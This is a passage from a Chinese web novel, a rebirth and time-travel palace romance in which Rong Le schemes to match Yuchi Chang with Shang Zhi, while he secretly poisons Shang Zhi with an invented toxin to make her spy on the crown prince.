毕竟,丞相府的地也挺平的,每日也是有专人来扫洒,她来了这么久了,连‘绊一脚’的时候都没有。。。。
“这个简单,到时候我可以帮你。”苏阿笑着,继续补充道:“往后撮合他们的事,我都可以尽全力帮你!”
毕竟也是在帮他自己。
虽然他知道,尉迟玚不会喜欢商芷,但若是让商芷缠住他,也是件不错的事。
嘿嘿。
“真的?”容乐站起身,朝苏阿竖起手,郑重其事的道:“阿苏,击掌为誓。从此刻开始,我们就是正式的盟友了。”
苏阿也站起来,用手拍了一下她的掌心,道:“好,阿乐。”
——————————————
次日,尉迟泰为迎接商芷,称病向皇帝告假一日,尉迟玚还是像往常一般去上朝。
容乐站在半掩着侧门内,等待着商芷的到来。
不能站在正门口等商芷,她就准备在这儿偷偷的看一眼。
其实容乐还挺好奇什么的样的人,能够让尉迟玚一见钟情,又能让太子一眼就相中的。
那长的不得和天仙儿一样?
突然,车轱辘转动的声音从远处缓缓传来,容乐悄悄的探出头去,看见一位轿夫正不紧不慢的赶着车。
车上的姑娘打着淡黄色的油纸伞,身穿白色缕金花云缎裙,金色的丝
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线在阳光下闪烁着光,腰间系着如意绦,绦上还挂着成色上好的羊脂玉。
她的身材很纤细,雪白的肌肤在光的照射下有点微微泛红。
还没看清脸,容乐就已经感受到了商芷与生俱来的一种温婉娴静的感觉。
很快,车就在丞相府门口停下了。
容乐怕被看到,赶紧将头收了回去,改为靠在门后木框边,换了个角度接着观察着。
管家笑容满面的小跑下了台阶,朝车上的人弯腰行礼,身后的小厮拿来红木下车阶,恭敬的放在车旁。
商芷收了伞,朝下面的人微微点头,随后在丫鬟的搀扶下,缓缓走下了马车。
这下,容乐倒是看清楚了她的脸——
肤若凝脂,眉如细柳,水杏下的眼眸里如秋波流转,澄清明亮中带着三分勾人的媚态,鼻梁高挺,唇色如朱,笑起来两颊还挂着浅浅的酒窝。
如瀑的青丝随意的绾起,整个人温婉中带着几分慵懒,更加的摄人心悬。
“真好看啊!”容乐不由的感叹道。
终于明白为什么尉迟玚和太子都喜欢商芷了。
她看了商芷的容貌,都有些心动,何况是寻常男子呢。
“阿乐,你在这儿干什么呢?”苏阿路过侧院,发现容乐靠在门边,聚精会神的向外看着什么。
他走到她的身后,通过门缝看见商芷正在缓缓走上台阶,身后跟着管家和一群丫鬟。
没想到丞相还挺看中这个‘远方亲戚家的女儿’的,进府的架势不小。
不对,是被抛弃多年的亲生女儿。
上一世,丞相临死前,上奏禀明自己当年抛妻弃子的事实,朝野上下一片哗然,皇帝念在他多年功劳,并未处罚。
但是,从那之后,就有商芷曾在青楼的传闻。
前朝因此对太子的施压废除太子妃,闹了一段时日后,最后是以尉迟玚上任御史大夫而结束。
那段纷争最大的时日,太子在东宫中下了命令,所有人不得议论此事,尤其是在商芷的面前。
他当时是卫尉丞,听说后觉得,太子确实宠爱商芷,并猜测尉迟玚能位列三公之一,必有太子的助力。
“阿苏,你觉得商芷怎么样,好看不?”容乐看远处的人渐渐离去后,把门关上,转过身面对苏阿问道。
“还行吧,和寻常人一样,都是两个眼睛、一个鼻子、一张嘴的。”苏阿回答道。
“噗。”容乐没崩住,摇了摇头拍着他的肩膀,打趣的道:“看来你的眼光挺高啊,小老弟。”
他看向她,脸上浮起一抹浅笑:“这是自然。”
她没听出苏阿的意有所指,反倒是理解所史书上记载的——离书坐上皇帝后,他成了朝中唯一的单身汉。
沧青看天色不早了,在容乐的耳边小声的提醒道:“容小姐,公子快回来了。”
“好,那我们按计划行事。”她朝苏阿和沧青点了点头,三人离开了侧院。
一个时辰后,尉迟玚刚回到府中,就接到容乐约他到湖心亭见面的消息。
“好,我将官服换了就去。”他对站在门口的沧青道。
乐儿倒是从来没有约过他,今日倒是有些反常。
难道是商芷进府了,她像上一世那样,不想让他与商芷见面?然后就约他聊聊此事?
看来她心里还是有自己的位置的。
想到这里,他的嘴角抑制不住的上扬,换衣裳的速度都加快了些。
一柱香后,他穿上了她那日为他买的衣裳,走出了房门。
18. 初次撮合
容乐和苏阿躲在后花园中的假山顶上大石头后面,等待尉迟玚和商芷碰面。
“他们会在这里相遇的吧,时机应该是算准的。”她有些紧张的自言自语。
按照计划,她约尉迟玚前往湖心亭,这里是必经之路,商芷那边的丫鬟也已经被她收买,逛花园的时候也会路过这里。
待尉迟玚出门之时,沧青就给那边的丫鬟发信号,让她带商芷朝这边走。
苏阿看出了她的紧张,手覆在微微颤抖的拳头上,轻声安慰道:“别担心,他们待会儿就来了,有我在,不会有问题的。”
话音刚落,就听见脚步声从不远处传来,且越来越近。
容乐拉着苏阿赶紧低头,缩在石头后面,余光瞟向下面的情况。
尉迟玚身穿一袭月白色的锦缎长袍,腰间束着修着云纹的腰带,垂挂着一枚晶莹剔透的玉佩,行走之间,衣袂飘飘,身姿挺拔中带着温润的气质。
尉迟玚今日真好看!容乐心里不由的感慨道。
在路的另一边,一位丫鬟带着商芷不紧不慢的走来。
很快,两人就在假山下的不远处看见了对方。
尉迟玚玚先是一愣,他没想到会在此处遇见商芷。
上一世的今日,他们是在湖心亭相见的。
那时候,乐儿很早就叮嘱他回府之后,不要去湖心亭,问其原因,她也支支吾吾的不说。
这样一来,他反而很好奇。
回府之后立刻就去了湖心亭,之后就看见商芷坐在那里,和丫鬟小厮们有说有笑的聊着天。
他看了一眼就匆匆离去了。
心想道:就这?
故今日,乐儿约自己去湖心亭,他觉得她是不想让他遇见商芷,故意先一步占着那处。
可没想到,竟然在此处遇见了。
待会儿乐儿要是问起来,他可要好好想想如何回答,上一世,她可是最在意自己对商芷的态度的。
商芷看见尉迟玚时,目光多停留了一瞬,悄悄的打量了一下。
来京安之前,她就听说尉迟玚是京安城中有名的君子,且在世家大族中最为年少有为的。
今日一看,她这位表哥,看起来的确温文尔雅,神色中还带着一种翩翩君子的自信与从容。
容乐看见他们二人互相望着对方,彼此都不说话的模样,顿时间,脑海中浮现了一个词——
一眼万年。
容乐转头看向尉迟玚,虽然看不清他的神色,但是在此情景下,她觉得他此时内心肯定掀起了惊涛骇浪,估计都抑制不住的心跳加速。
毕竟,这么久了,她还是头一次看见大石头看一位姑娘看那么久呢!
随后,尉迟玚朝商芷微微点头,向前走去,而商芷也回应了点了点头,继续走着。
两人越走越近,待到只有两步之遥时,苏阿扬起嘴角。
他右手捏着一块小石子,朝商芷的膝盖处快准狠的射去。
一阵剧痛右腿膝盖处传来,商芷的身子控制不住的朝尉迟玚的方向跌去。
容乐屏住呼吸,脑海里已经先一步出现电视剧男女主拥抱转圈的场景了,甚至连bgm都正要响起的时候——
啪嗒一声,商芷摔倒在了地上。
什么鬼啊?!
容乐心中的唯美的bgm戛然而止,只留下空气中的一丝尴尬。
片刻前,尉迟玚看商芷在自己面前将要摔倒,不仅没有扶的意思,甚至还略微侧了身,方便她别摔到自己身上。
容乐满脸震惊,着实没想到是这么个结果,这还不如让他们不见呢。
初次见面,就给商芷留下了极差的印象,后面只能更加努力的慢慢扭转才行。
辛辛苦苦几十年,一夜回到解放前。
想到这里,容乐咬住唇,没忍住锤了一下假山,细微的声响传来。
尉迟玚抬头看去,她见状赶紧往后退了些,但没注意到衣袖的一角从石头旁露了来。
他微微皱了皱眉:乐儿为什么又会在此处?
“小姐,你没事儿吧!”一旁的丫鬟赶紧蹲下身,去扶倒在地上的商芷。
尉迟玚回过神来,低头看向商芷,想起自己此时是在八年前。尤其是容乐也在此处,若表现的太冷漠也不好。
他蹲下身,扶起了商芷,表情‘内疚’的道:“实在抱歉,刚刚事发突然,在下未能及时扶住小姐,还请见谅。”
商芷捂着膝盖,勉强的被扶着站起身,本想发作,但理智阻止了她。
此时还在丞相府,太子选秀还未开始,自己还需要尉迟泰和尉迟玚的帮助。
她忍着疼,脸上带着笑,对尉迟玚道:“没关系的,是我自己走路不小心。”
尉迟玚和丫鬟将商芷扶到假山旁的亭子里,看她坐下后,他后退一步礼貌的微笑道:
“在下尉迟玚,之前从未在府中见过小姐,想必你就是今日入府表小姐——商芷了吧。”
商芷微微颔首,她一边轻轻的拍着裙摆处的灰,一边抬头看向面前的尉迟玚,用带着些‘委屈’语气道:
“我是商芷,今日让表哥见笑了。往后在府里,我走路会多加小心的。”
她自八岁就在青楼里待着,见过无数男子,最知道怎么惹他们心疼。
尉迟玚余光瞟向假山,发现容乐已经不在了。
他懒得再和商芷在这蹉跎,于是道:
“在下想起还有事,可能要先行离去,表妹在这好好休息吧。”
说完,他就转身离开了。
商芷看向他离去的背影,收敛了笑容,心里有些不甘,这还是头一次她在男人身上吃了瘪。
不过没关系,她有信心嫁给太子,更有信心让丞相府为她铺路。
——————————
湖心亭中,容乐已经坐在石桌前,嗑着瓜子等尉迟玚来。
刚刚她看他扶着商芷到亭子里,两人若无其事聊天时,心稍微放下了些,就让苏阿带她先一步到了湖心亭。
还别说,苏阿的武功是真的好,竟然能带着她用轻功直接‘飞’到这里。
原本需要一炷香的路程,片刻间就到了。
把她送到这里后,正好碰见管家在寻他,苏阿就被叫走了。
不一会儿,尉迟玚的身影出现,容乐站起身,笑着对他挥了挥手。
尉迟玚看见她后,嘴角上扬,加快了脚步。
“等很久了吗?”他踏进亭中,整理了一下衣襟,若无其事的问道。
她既然先一步到了这里,又藏在假山后,应当不想让他知晓,那他也就当作路上没看见她。
“还好。”容乐拿起茶壶倒茶,不经意的试探道:“大石头,你过来这一路上还顺利吧?”
他坐在
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了她的对面,拿起斟满的茶杯,品了一口,不紧不慢的道:
“挺顺利的,就是碰见了今日入府的商芷。”
“然后呢?”
“她不小心摔倒了,我把她扶到一旁的亭中。简单寒暄了几句,我就过来了。”
容乐听后微微皱了皱眉。
这么轻描淡写?
就和今日喝了一口凉水一般普通,甚至还要再无聊一点。
看到她时心动呢?快要摔倒却没扶住的心路历程呢?咋啥都没有?
不行,她要再深入的多问问。
“我今日也看见商芷了,长的是真的很好看!你觉得呢?”
容乐撑着头,认真的看向尉迟玚,想要捕捉他每一个微表情,从而探寻他心里的想法。
尉迟玚看她兴奋的模样,觉得要是说长的一般,那岂不是煞了她的兴趣?
“嗯,你说的不错,她长的确实不错。”
看看!她就说嘛,果然野史上说的没有错,他就是对商芷一见钟情了!
“那你看她摔倒的时候,是怎么想的?是不是有些内疚和自责?”
尉迟玚捏住茶杯,沉默了一会,思索怎么回答才能周全。
既要表明自己对商芷无意,又不能太过冷漠。
“没有扶住她,确实是我的问题,她也毕竟是我的‘表妹’。”他加重了表妹两个字,想要撇清些关系,接着解释道:“当时事发很突然,但是说内疚和自责的话,程度稍微有点过了些。”
他肯定是很后悔的!甚至都在反思自己的错误了。
而且两人第一次见面,就已经用表妹这么亲近的称呼了!
容乐自动屏蔽了他后面说的话,只听见‘确实是我的问题’这句。
“其实呀,姑娘心地都很软的,你虽然今日做错了,但是也情有可原,后面加倍对她好就行了。”
她耐心的安慰他,还拿了一把瓜子放在他的手心:
“你之前不是不明白我为什么要给你买书,教你如何哄姑娘开心吗,如今这不是派上用场了?”
尉迟玚看着她笑嘻嘻的模样,听出来她话里话外的意思,放瓜子的手心一下子握成了拳:
“所以,你的意思是,让我往后哄商芷开心?”
“对啊。”容乐点了点头,没听出来他话里藏着些不满。
“我为什么要哄她开心?”他看她不在乎的模样,心像被堵住了。
“你不喜欢她吗?”容乐很疑惑,微微蹙眉。
“你希望我喜欢她吗?”尉迟玚看向她,努力从她的神情里找寻一丝否定的答案。
这是什么问题,和自己希不希望有什么关系?
难道她不希望,他就不喜欢了?
“我当然不希望你喜欢商芷!如此这样我就放心的离开了呀。”
如果尉迟玚一开始就不喜欢,那改变命运的使命不就瞬间完成了?
想到这里,容乐有些激动的停下嗑瓜子,两眼发光的看向他:“你是不是真的不喜欢商芷!所以才会这么问,对不对?”
回家!回家啦!
尉迟玚看她兴奋的模样,沉默了一会,缓缓的开口道:“没有,我喜欢她。刚刚这么问就是想知道我表现的明不明显。”
他的喉结动了一下,眼眸里黯然无光,轻轻笑了下,接着道:“没想到还真被你看出来了。”
19. 再次撮合
尉迟玚相信,如果自己说不喜欢,容乐能立马开心收拾东西,毫不留情的回到未来。
上一世,她一直误会自己喜欢商芷,或许才是留下的原因。
不过,她留下来到底是为了什么?与他喜欢商芷与否,又有何关联?
“乐儿,你刚刚说若我不喜欢商芷,你就可以‘放心’的离开了。所以你现在留下来,是在担心什么?”
“离开的话,又想要去哪里呢?”
一连串的问题袭来,让她愣住了。
“嗯,这个嘛——”容乐表面尴尬的笑着,内心慌张。
没想到刚刚把底都漏出去了。
若她说出真实的一切的话,尉迟玚会不会觉得她是一个疯子?
换位思考,如果自己是他,遇见一个人告诉自己,她是来自两千年后,来这里是为了拯救自己的命运。
她恐怕会觉得这人精神有问题,赶紧送医院治疗一下吧。
“我刚刚是用词不当,不是放心,是,是——”她眼珠转了转,突然,灵光乍现的道:
“是留心!留心更好的姑娘给你介绍一下。你的命是我救的,自然是送佛送到西,看你成家之后,才能放心离去。”
“而且,我也不能一辈子都留在丞相府,至于去哪,还没想好。”容乐说完,赶紧喝了一口茶,掩饰自己的尴尬,顺道压压惊。
尉迟玚将她的表情净收眼底,毕竟一起生活了八年,他知道她是在骗自己。
既然她不想说,他也不想再追问了。
如今之计,他只能在她面前假装喜欢商芷,先留住她。
然后,找到她回去的方式,再将它摧毁。
这样,她就能永远留在他的身边了。
他将手心中的瓜子一一拨开,放在一旁的空碗中,“乐儿,你可以永远留在丞相府,至于我的事,你也不用太过担心。”
尉迟玚将剥好瓜子的碗,推到了容乐的面前道:
“我最大的愿望,就是你面对我时,能将心中的包袱卸下,完全信任我。”
他站起身,望着平静的湖面,没有说话。
上一世,他没有珍惜她,伤害了她许多次。
不过,这一世,他发现许多事并不是当年他所想的那样,倒是越来越了解她了。
他要回去好好想想,接下来要如何做。
难道真的要在她面前装成喜欢商芷的模样吗?
对不起,他真的做不到。
尉迟玚看向她,嘴角带着淡淡的笑意:“你在这休息会儿吧,我还有些事,先走了。”
容乐看着他离去的背影,余光瞟着碗里的他为自己剥好的瓜子,心情有些沉重。
看来,自己编的话太烂了,大石头并没有相信。
不过,她倒是感觉,他好像有些不一样了。
具体哪里,又说不上来。
这难道就是——
思春之人的多愁善感?
想到这里,她坚定的点了点头。
看来还是要赶紧撮合商芷和他才是!
本来打算撸起袖子大干一场的容乐,却发现尉迟玚从那日之后,好像突然忙起来了,每日甚至也不再府中用晚膳了。
回来的时间也从酉时变成戌时,虽然如此,但是他一回来,还是会在书房中看书,所以她还是会天天看见他。
但是!
商芷看不见他了啊。
两人见面的时间,可以说一点点都没有。
这怎么撮合?巧妇难为无米之炊啊。
“大石头,你要忙到什么时候呀?”容乐一边整理书架,一边对正在看书的尉迟玚问道。
他再多忙一会儿,太子选秀就该开始了。
到时候看他到哪里哭去。
“最近是检察各州刺史的时期,所以要忙一些,大概需要一个月的时日吧。”尉迟玚语气和平时一样,但是细看之下,会发现,书页瞬间捏紧了。
没错,他想出的办法就是,惹不起躲得起。
他不想让乐儿撮合自己和商芷,那就让两人见不到面。
本来想像其他官员那般直接住在宫里办理公务的府邸,但是——
咳咳,他又舍不得她
只能出此下策。
最近,御史台中的同僚,看他的眼神都充满了好奇。
毕竟,有好好的丞相府不回,非要和他们多待那么久。
按照周国的规矩,除了丞相,所有官员都住在官署里,只有五日一休沐时,才能回家。
但是,尉迟玚是丞相的儿子,皇帝自他入官就给予特赦,允许他每日都回丞相府住。
“一个月?!”容乐停下了手中的动作。
太子选妃只有一个半月了,若只剩余半个月让商芷喜欢上尉迟玚,那简直是地狱级难度,而且还是大选前的半个月。
那时,商芷怕是连尉迟玚的脸长什么样都忘了,满心都是如何讨得太子的欢心。
她走到他的面前,将书从他的手中抽走,眉心微蹙:“这段时间,你不思念商芷吗?不想尽快讨得她的欢心吗?”
“你不是每日都会和我说她都做了哪些事吗,我觉得足以了。”尉迟玚抬头看向她,用‘无辜’的眼神道。
其实,他每日最痛苦的时间,就是她在说商芷的事的时候。。。。
因为,他一点都不想听,商芷每日穿了什么,吃了什么,做了什么,说了什么。
“这是用意念喜欢别人?”容乐扶额,“难道你都不想见她吗?”
这家伙搞什么柏拉图式恋爱呢!
她说那么多不是为了让他想这些的,她是为了让他更了解商芷。
尉迟玚微微垂首,俊美的脸庞上带着忧愁,有些''委屈''的道:
“我回来已经很晚了,再打扰商芷怕是不合礼数。”
“你给我的书,我也看了七七八八,里面的男主遇见很忙的时候,女主也都是很理解的。”
“我相信天下的因缘际会总有命数,就一个月,我没关系的,可以等的起。”
容乐怎么听出了一股男绿茶的味道。
脑海里浮现了经典语录:“哥哥,我都没关系的,姐姐应该能谅解我吧?”
她摇了摇头,也无可奈何。
毕竟,他说的也在理。
看来要商芷从生活的点点滴滴喜欢上尉迟玚这条路,暂时行不通了。
需要跳过不必要的环节,直接按照类似话本子里的关键节点走了。
类似于推动公子和佳人情愫产生的核心事件。
比如,才华吸引、直接告白、英雄救美、患难与共等等。
“那休沐之日——”容乐话还没说完,尉迟玚明白她的意思,赶紧回答道:
“因为最近比较忙,原本的休沐之日,这个月变成了半日。”
“御史台中的人只有我每日回府,他们的家大多在城外,考虑到这一点,我准备让他们休沐之日早些回家,自己辛苦累
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点没关系,反正也离的不远。”
话里话外的意思就是,休沐之日也没空。
他不想把时间浪费在商芷的身上,留大选前的半个月,主要是推进商芷和太子。
“你这真是替别人着想啊。”容乐咬牙切齿的道。
这感情是把难度全留给她了是吧?
*
苏阿听到容乐气鼓鼓的吐槽后,他猜到了尉迟玚的心思。
之前听容乐说尉迟玚承认喜欢商芷的时候,他就觉得很是奇怪,还一度怀疑尉迟玚是不是没有重生回来。
现在看来,尉迟玚还是那个尉迟玚。
虽然不知道他为什么承认,但是这对自己而言,简直是件天上掉馅饼的好事。
“没关系,办法总是比困难多。”苏阿将一块糖放在她的手心,安慰的道。
随后回忆上一世,想起了什么,扬起嘴角看向她道:“我有办法。”
容乐眼睛一亮:“什么办法?”
“到时候你就知道了。只不过呢,你要配合我,提前让沧青回去休息就行。”苏阿神神秘秘的道。
时日一天天的过去,十四日后。
在距离大选还有一个月整的时间,苏阿和容乐说,时机到了。
第二日,尉迟玚回府的时候,发现苏阿满头大汗神色匆忙,在看见自己后,着急的走来,单膝跪地抱拳道:
“公子,容姑娘她被后院的下人们捉弄,现在锁在后院的柴房里了。”
“卑职本想找管家拿钥匙,却得知他和老爷出去还未归来,幸好您回来了。”
尉迟玚听后眉头瞬间紧锁,手攥成拳,心中的弦猛的崩住。
他带着苏阿,到管家的房里拿到了备用的钥匙,快步朝后院走去。
“沧青呢?她在哪里?”尉迟玚黑着脸的问道。
没想到在府里,还能出现这种事,沧青是怎么保护她的!
“回公子,沧青姑娘她正好今日休息,午时刚刚离府。”苏阿拿着钥匙,面不改色的回答道。
到了后院,两人快步走到了柴房门口,苏阿用钥匙开着门。
他感受到一旁尉迟玚神色担忧的模样,眼中闪过一丝狡黠的光。
在门开的一瞬间,尉迟玚立马走了进去,发现里面一片漆黑。
“乐儿,别怕!”他张望着四周,正准备拿出火折子。
谁料到,刚朝里走了一步,身后的门''吱呀''一声,关上了。
整个屋子顿时陷入了一片黑暗。
他回头看去,发现门外苏阿正在不紧不慢落锁。
尉迟玚黑着脸,冷声喝道:
“苏阿,你在干什么!”
门外的人没有回答,全神贯注的低头认真的落锁。
确认锁好后,苏阿用''愧疚''的语气,对尉迟玚道:“对不起,公子。”
然后,头也不回的走了。
两世了,还是头一次被苏阿背叛。
尉迟玚看着他的背影,面若冰霜,不由冷冷的笑了笑。
就这个锁,还想困住他?
突然,抽泣的声响从屋内的角落传来。
尉迟玚转头看去,发现商芷正蜷缩在地上,满脸泪痕的看向他。
她的眼神中带着几分错愕,仿佛在说:
怎么是你。
尉迟玚瞬间明白今日之事是谁的杰作,准备捏碎门栓的手,慢慢的垂了下去。
容乐,你当真是一点儿都不在意我。
20. 下毒
尉迟玚看了商芷一眼,意识到还有一个月就要太子大选了。
他没理她,径直走到木桌前坐下。
上一世,尉迟泰不同意商芷参加太子妃的选秀,她就故意演了一出戏——被下人不小心锁在柴房里。
等尉迟泰来柴房救她时,看见她害怕发抖的模样,引起了他对她们母女的愧疚之情。
因为商芷的母亲,最怕黑和幽闭的空间。
从那日之后,商芷就患上了‘梦魇'',大夫说心病所致,若不及时疏解,恐性命不保。
最终,尉迟泰最终答应了商芷参加选秀的要求。
可是,这一世为何没有按照上一世的轨迹走?
尉迟玚微微皱眉,商芷碰巧选了尉迟泰不在府的时日。
他不自觉的握紧桌上的茶杯,发现茶还是热的,不禁失笑,她这戏都没做全套。
“表——哥,你怎么来了?”商芷看尉迟玚没有理她,带着哭腔抽泣的问道。
尉迟玚将茶杯里的水倒了,不紧不慢地拿起茶壶,重新倒了一杯,放在一旁。
接着他拿起桌上扣着的茶杯,给自己也倒了一杯,品了一口,道:“表妹啊,柴房中只有你我二人,不如直接把面具撕下,简单点。
我知道你想要什么,也可以帮你达成。”
商芷变了脸色,眼神中带着些心虚,指尖用力嵌入了掌心里,强装镇静。
她继续抽泣的道:“表哥,我没听懂你在说什么。”
尉迟玚将茶放下,转身回头看向她,嘴角勾起一抹意味深长的笑容:“你想嫁给太子,是吧?”
“今日之事,也是你让你的侍女故意而为之的。”他补充道。
他目光看似温和,却藏着丝丝寒意,如同是深不见底的幽潭。
商芷听后愣住了,她没想到她的心思能这么快的被人看穿。
但是,她想再挣扎一下:“表哥,我没——”
“我可以让你当太子妃。”
尉迟玚不想再和她多费口舌,直接道:“你若想坐上那个位置的话,我们就好好商讨一番。”
商芷擦了一下泪痕,不装了。
她站起身,走了过去,半信半疑的坐在他的对面,神色认真的问道:“怎么做?”
尉迟玚将之前倒好水的茶杯,用扇子推到商芷面前,薄唇勾起几分漫不经心的弧度:
“我可以将你的名字加到选妃的名录里。”
“再过十四日就是宫中的游园会,太子也会参加,届时我带你去。”
“为何要帮我?”她问道。
尉迟玚低头看了眼她面前的茶杯,微微皱眉。
随后,他轻拈扇柄,打开扇子扇了扇:
“因为我想要加入太子一党,我们算是互利互惠的关系。”
“所以你想要往后我在太子面前多提你几句?”
“差不多吧。”
商芷听后,点了点头,开始仔细的打量起面前的人来。
他的举手投足依旧是矜贵的公子模样,和那日初见一般无二。
不过,还挺有上进心的。
等她当上太子妃后,说与不说,尉迟玚恐怕也管不着吧?
商芷勾起唇角,她不屑于当旁人的棋子,她要当天下地位最高的女人!
让当初抛妻弃子的阿父,每次见到她都敬畏三分。
说话间,商芷突然觉得很渴,拿起面前的茶杯,一饮而尽。
尉迟玚微微眯起双眸,握住扇柄的手指轻轻一拢,发出一声清脆的响声,扇子瞬间合起,被放在了袖中。
“你这样做,就不怕丞相对你不满?”商芷将茶杯放下,打趣的问道。
“这件事是太子示意,阿父岂敢忤逆?”尉迟玚笑着道。
商芷没听懂他在说什么,正准备询问的时候——
突然,腹部巨疼起来,如同千把利刃同时在刺。
“唔…”她忍不住发出痛苦的呻吟,脸色苍白,豆大的汗珠落下,身子不自觉的蜷缩一团,哐当一声,从凳上摔倒在了地上。
尉迟玚依旧如同君子一般,脸庞带着儒雅的笑意,站起身低头看向她:
“你只要记得,在两月前,你就已经入府。某次上街,救了一个赌徒,还遇见了说自己是大鸿胪之子贺铭的太子。”
商芷紧紧捂住腹部,娇躯因疼痛而止不住的颤抖,她咬住下唇,努力忍着痛道:
“你这是让…我伪装成…别人?”
“能做她,是你的福气。”尉迟玚收起了笑意,冷冷的道。
商芷看他的模样,仿佛变了一个人,让她在疼痛中打了个寒颤。
她的余光瞟到了桌上的茶杯,想到了什么,咬牙切齿的看向他道:
“尉迟玚,你是不是往茶杯里下毒了?”
“还是用那把扇子?”
尉迟玚回头看向她的茶杯,嘴角勾起一抹笑意:“都对,但不完全。”
他拿起那盏茶杯,用食指和拇指轻轻捏住,放在眼前有意无意的打量着:“
不过你只猜对了一半,那扇子藏的里的只是让人感到人口渴的粉末。”
“毒是我一进门就下好的。”
太子遇见容乐那日后,尉迟玚就让殷俊研制出这两种毒药。
本来殷俊十分不乐意,委屈巴巴的看向他,仿佛是在看一个白嫖的负心汉。
尉迟玚拿出准备好的千金后,他瞬间立刻笑容满面,临走的时候还十分热情的招呼他常来,眼神中满是依依不舍。
今日碰巧做好,回府的路上他就顺道去取了,没想到就遇见此事。
正好,他也不用重新找机会,趁此顺水推舟。
“你为什要这么做!”
商芷虚弱的缩成一团,气息不稳,眼神中带着恨意。
尉迟玚轻笑一声,握住茶杯指节泛白,猛的用力一挥,‘砰’的一声,杯子撞到墙而瞬间成了碎片。
他蹲下身,眼里带着冷光,表面依旧是温和的模样:“因为,我不信你。”
“此毒每月需要服下解药,若迟了半日,便会腹疼难忍,毒发身亡。”
“你需要做的是,嫁给太子后,每月向我汇报太子的行踪和动态,到时候我会给你当月的解药。”
“服下解药六年后,毒会自动解除。”
他看到她眼中不甘与倔强,猜到她此时的心思,站起身睥睨的接着道:
“此毒是特意所制,无人可解,除毒发当日外,也无人能诊出。”
“若你想告诉太子,太医诊脉后,他不会信你,同时,我也会将你欺骗他的事全盘托出。”
“我可以善意的提醒你,若没有当日他在宫外发生之事,恐怕连看你一眼都不会。”
商芷被看穿心思后,捂住腹部的手攥成拳,语气中带着怒意:“你究竟想如何?是想造反吗?”
尉迟玚微微仰头,好像听到了什么荒诞的笑话,没忍住笑出了声。
嗯,上一世还真做过。
说实话,他对那个位置还真没有什么兴趣。
上一世是为容乐
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报仇,想要宫里的所有人为她陪葬罢了。
这一世,他只想好好的保护她,做个权臣,彻底扳倒太子。
“那倒是没有,我说了,我只想做太子一党,只有足够的了解他,才能做近臣,不是吗?”
只有深入敌人阵营,才好慢慢的部署未来的一步步棋。
尉迟玚看地上的人已经奄奄一息了,将解药放在放在她的手中,随后接着道:
“你已经没有选择了,表妹。”
商芷握紧解药,闭上了眼睛,发现面前的人远比她想的可怕的多,自己虽不想受人控制,但已经别无他法了。
何况,六年而已,等她坐上皇后之位,再来报仇也不迟!
想到这里,她将解药放入口中,努力咽下,随后用沙哑的声音道:
“我知道了,还请表哥将那日宫外之事详细的讲与我听。”
*
院外,容乐和苏阿躲在树上,观察着柴房的情况。
“阿乐,你说商小姐不会出事了吧?”苏阿听到柴房里动静不小,有些担心。
他可是见过上一世尉迟玚的残暴冷漠的人。
容乐噗嗤一声笑了出来,她拍了拍苏阿的肩膀,语气轻松的道:“阿苏,大石头可是喜欢商芷的,柴房里面就他们二人,那必定是——
干柴烈火,烧的正烈呢!”
她转头看向柴房的窗户,嘟着小嘴,眼神中带着略微的‘不满’。
来的路上,阿苏不是将火折子给大石头了吗,他怎么不点呢?
而且柴房也有蜡烛的啊!
乌漆麻黑的,害她一点都看不到他们在做什么!
“干柴烈火?”苏阿忍住笑意,摇了摇头。
“哎!你别不信啊。”容乐看他一副没见过世面的模样,开始眉飞色舞的表演起来:“大石头看见躲在角落的商芷,定心疼不已。他快步走过去,十分担忧的问——”
容乐单手抚向面前的树枝,声情并茂的用演绎道:“表妹,你没事吧,对不起我来晚了!”
说到这里,她将头转了方向,用商芷的语气,表情可怜的接着道:“表哥~你终于来了,人家好怕怕~”
“别怕,有我在,我会一直保护你的!”
“随后,他将商芷扶在桌前,给她到了杯热茶,目光定定的看向她,手拉住她的,放在自己的胸口捂热。”
她将双手交叠,放在自己胸口,接着道:
“表哥,你——”
“商芷,其实我喜欢你很久了,我们在一起好吗?”
“嗯,好。商芷低着头羞涩的回应。”
“然后,两个人就情不自禁的抱在一起。”说到这里,容乐闭上眼睛,沉浸式的用双手抱住了自己。
“咳咳,接下来,就是少儿不宜的内容了,我就不讲了。”她自豪的对身旁的苏阿道。
她看电视剧里都是这么演的,一定没错!
“那个,阿乐,我发现了你未来不做书房伺候后,还能做其他的工,而且定会特别赚钱。”阿苏一本正经的道。
“什么?”容乐有些期待的看向他。
“说书先生。”他一顿,煞有其事的补充道:“他们都没有你说的精彩。”
就这。。。
容乐打了苏阿的肩膀一下,她歪着头嗔怒的道:“好啊,你竟敢打趣我!”
此时,远处的灯渐渐的近了,是丞相和管家回府了。
“阿乐,你快将柴房的门打开,他们回来了!”阿苏带容乐跳下了树道。
21. 深夜潜入
容乐走到后院的水缸前,拿起水瓢舀了些,用手在额头和鼻尖快速的拍打着。
随后,她跑到柴房的门前,喘着气,拍了拍们,用担忧的语气道:
“大石头,你没事吧?别怕我来救你了!”
她拿出钥匙开锁,动作还刻意动作慢了些,好让里面的人赶紧好好整理一下。
能细节至此,她觉得自己也是思虑周全了。
门一开,她看见尉迟玚就站在门口,脸色有点发黑。
嗯?他不应该心情很好吗?容乐有些狐疑。
是不是她来的太快了,打扰了他们。
尉迟玚看她满脸满头大汗的模样,地上还有点点水渍从水缸处一直到门前,再加上她浮夸的语气——
为了瞒他,看来是也用心了。
他刚想开口,就看见苏阿走到了她的身后,低头双手抱拳对他道:
“公子,刚刚把您锁进柴房的事,还请责罚。”
容乐回头看去,皱着眉头,对苏阿挤眉弄眼:
你怎么来了?刚刚不是说好的先离开吗?这不是往枪口上撞嘛。
“苏阿——”尉迟玚眯眼盯着他,刚想向前一步,就被容乐拦住了。
她张开双臂挡在苏阿面前,颇有义气护着道:
“这件事是我的主意,和苏阿无关,你要罚就罚我吧。”
尉迟玚看着容乐维护苏阿的模样,脸色瞬间变的阴沉起来,袖袍下紧握成拳的关节泛白。
他还什么都没说,她就这么护着苏阿。
明明被骗的人是自己,被关在柴房的人也是自己,她就一点都不在意。
上一世,明明她这么护着的人,是他。
尉迟玚深邃的双眸中带着几分自嘲,摇头笑了起来:
“乐儿,苏阿才和你认识几天,你就如此这般。在你的心里,又有几分我的存在?”
容乐感受道他的情绪不对劲,双手放了下来,内心开始打起了鼓。
两人对视着,却都沉默。
这还是她认识他以来,他第一次对她生气。
她不自觉的紧揪住衣角,咬着唇对他道:“我…”
